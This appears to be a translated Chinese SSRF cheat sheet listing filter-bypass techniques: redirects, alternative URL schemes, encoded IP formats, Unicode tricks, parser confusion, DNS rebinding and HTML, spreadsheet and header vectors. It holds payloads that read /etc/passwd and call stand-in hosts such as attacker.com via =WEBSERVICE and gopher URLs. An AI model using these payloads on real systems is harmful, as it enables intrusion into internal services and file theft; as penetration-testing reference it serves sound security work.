服务器端请求伪造
服务器端请求伪造(或 SSRF)是一种 Web 安全漏洞,允许攻击者诱使服务器端应用程序向攻击者选择的任意域发起 HTTP 请求。
在典型的 SSRF 示例中,攻击者可能诱使服务器连接回自身,或连接到组织基础设施内的其他基于 Web 的服务,或连接到外部的第三方系统。
绕过过滤器
应用程序通常会阻止包含非白名单主机名、敏感 URL 或 IP 地址(如环回地址、IPv4 链路本地地址、私有地址 等)的输入。在这种情况下,有时可以使用各种技术绕过过滤器。
重定向
您可以尝试使用重定向到所需的 URL 来绕过过滤器。为此,向来自易受攻击服务器的请求返回一个带有 3xx
代码和 Location
头部中所需 URL 的响应,例如:
HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1
您可以通过以下方式实现重定向:
bash,如
nc -lvp 80 < response.txt
URL 缩短服务
Mock 和 webhook 服务,参见此处
更灵活的解决方案,如在 python 上的简单 HTTP 服务器
此外,如果应用程序包含开放重定向漏洞,您可以使用它来绕过 URL 过滤器,例如:
POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
这些绕过方法有效,因为应用程序只验证提供的 URL,该 URL 触发重定向。它遵循重定向并向攻击者选择的内部 URL 发出请求。
URL 方案
您可以尝试使用不同的 URL 方案:
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
Node.js
Windows 版本的 Node.js 将 URL 方案中的任何单个字母视为 drive://filepath
并将协议设置为 file://
。
// Node.js(仅限 Windows)
// 以下行将返回 `file:`
new URL('l://file').protocol
参考:
Java
Java 的 URL 将正确处理以下 URL:
url:file:///etc/passwd
url:http://127.0.0.1:8080
参考:
IP 地址格式
您可以尝试使用不同的 IP 地址格式来绕过过滤器。
罕见 IP 地址
RFC 3986 中定义的罕见 IP 地址格式:
点分十六进制 IP:
0x7f.0x0.0x0.0x1
无点十六进制 IP:
0x7f001
带填充的无点十六进制 IP:
0x0a0b0c0d7f000001
(填充是0a0b0c0d
)无点十进制 IP:
2130706433
带溢出的点分十进制 IP(256):
383.256.256.257
点分八进制 IP:
0177.0.0.01
无点八进制 IP:
017700000001
带填充的点分八进制 IP:
00177.000.0000.000001
组合:
0x7f.0.1 0x7f.1 00177.1 00177.0x0.1
您可以通过删除零来简写 IP 地址:
1 部分 (ping A) : 0.0.0.A
2 部分 (ping A.B) : A.0.0.B
3 部分 (ping A.B.C) : A.B.0.C
4 部分 (ping A.B.C.D) : A.B.C.D
0 => 0.0.0.0
127.1 => 127.0.0.1
127.0.1 => 127.0.0.1
IPv6 地址
IPv6 本地地址:
[::] 0000::1 [::1] 0:0:0:0:0:0:0:0
IPv4 映射的 IPv6 地址:
[::ffff:7f00:1]
IPv4 映射的 IPv6 地址:
[::ffff:127.0.0.1]
IPv4 兼容的 IPv6 地址(已弃用,参见 RFC4291:
[::127.0.0.1]
带有区域标识符的 IPv4 映射的 IPv6 地址:
[::ffff:7f00:1%25]
带有区域标识符的 IPv4 映射的 IPv6 地址:
[::ffff:127.0.0.1%eth0]
滥用封闭字母数字
封闭字母数字是一个 Unicode 块,包含圆圈内、方括号内或其他不封闭的封闭内或以句点结尾的字母数字排版符号,参见列表。
127。0。0。1
127。0。0。1
127.0.0.1
⑫7。⓪.𝟢。𝟷
𝟘𝖃𝟕𝒇。𝟘𝔵𝟢。𝟢𝙭⓪。𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢01
2𝟏𝟑𝟢𝟕𝟢6𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇。0。0。𝟢𝟷
𝟎𝟢𝟙⑦⁷。000。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢0𝟣
[::𝟏②₇.𝟘.₀.𝟷]
[::𝟭2𝟟。⓪。₀。𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂7。₀。𝟢。①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤7。₀。0。₁%②¹𝟧]
𝟎𝚇𝟕𝖋。⓪。𝟣
𝟎ˣ𝟩𝘍。𝟷
𝟘𝟘①𝟐⑦.1
⓪𝟘𝟙𝟳𝟽。𝟎𝓧₀。𝟏
滥用 Ruby 原生解析器的错误
Resolv::getaddresses
依赖于操作系统,因此通过尝试不同的 IP 格式,可以返回空值。
概念验证:
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # 错误!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # 绕过
参考:
损坏的解析器
URL 规范 包含许多在实现临时 URL 解析和验证时容易被忽略的功能:
在主机名之前使用
@
字符在 URL 中嵌入凭据:https://expected-host@evil-host
使用
#
字符表示 URL 片段:https://evil-host#expected-host
DNS 命名层次结构:
https://expected-host.evil-host
URL 编码字符。这有助于混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式与执行后端 HTTP 请求的代码不同,这特别有用。
这些技术的组合:
foo@evil-host:80@expected-host foo@evil-host%20@expected-host evil-host%09expected-host 127.1.1.1:80\@127.2.2.2:80 127.1.1.1:80:\@@127.2.2.2:80 127.1.1.1:80#\@127.2.2.2:80 ß.evil-host
参考:
DNS 固定
如果您想要获取解析为 IP 的 A 记录,请使用以下子域:
make-<IP>-rr.1u.ms
例如,域名 make-127-0-0-1-rr.1u.ms
解析为 127.0.0.1
:
$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
多个记录可以用 -and-
分隔:
make-<IP>-and-<IP>-rr.1u.ms
例如,域名 make-127-0-0-1-and-127-127-127-127-rr.1u.ms
解析为 127.0.0.1
和 127.127.127.127
:
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127
另外,检查 sslip.io
:
DNS 重新绑定
如果易受攻击应用程序中的检查和建立连接的机制是独立的,并且没有 DNS 解析响应的缓存,您可以通过操纵 DNS 解析响应来绕过此限制。
例如,如果两个请求在 5 秒内一个接一个地发生,DNS 解析 make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
将通过第一个请求返回地址 1.1.1.1
,第二个返回 127.0.0.1
。
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
另外,检查 lock.cmpxchg8b.com
:
Adobe ColdFusion
FFmpeg
SVG
任意 HTML 和 JS 的服务器端处理
在生成各种文档(例如 PDF)时,经常会发现用户提供的任意 HTML 和 JS 数据的服务器端处理。如果此功能易受 HTML 注入和/或 XSS 攻击,您可以使用它来访问内部资源:
<iframe src="file:///etc/passwd" width="400" height="400">
<img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')">
使用 HTTPLeaks 来确定是否有任何允许的 HTML 标签可用于滥用处理。
参考:
电子表格导出
如果应用程序在 Windows 服务器上运行并导出到电子表格,请尝试使用 WEBSERVICE 函数来获得 SSRF:
=WEBSERVICE('https://attacker.com')
参考:
请求分割
HTTP 头部
许多应用程序在其流程中使用直接从用户在不同 HTTP 头部(如 X-Forwarded-For
或 Client-IP
头部)接收的 IP 地址/域名。如果头部的值没有得到适当验证,这种应用程序功能可能导致盲 SSRF 漏洞。
这就是 param-miner 对于搜索 HTTP 头部很有用的地方。
Referer 头部
还要注意 Referer
头部,它被服务器端分析软件用于跟踪访问者。此类软件通常会记录来自请求的 Referer
头部,因为这允许跟踪传入链接。
分析软件实际上会访问出现在 Referer
头部中的任何第三方 URL。这通常是为了分析引用站点的内容,包括传入链接中使用的锚文本。结果,Referer
头部通常代表 SSRF 漏洞的富有成效的攻击面。
参考
最后更新于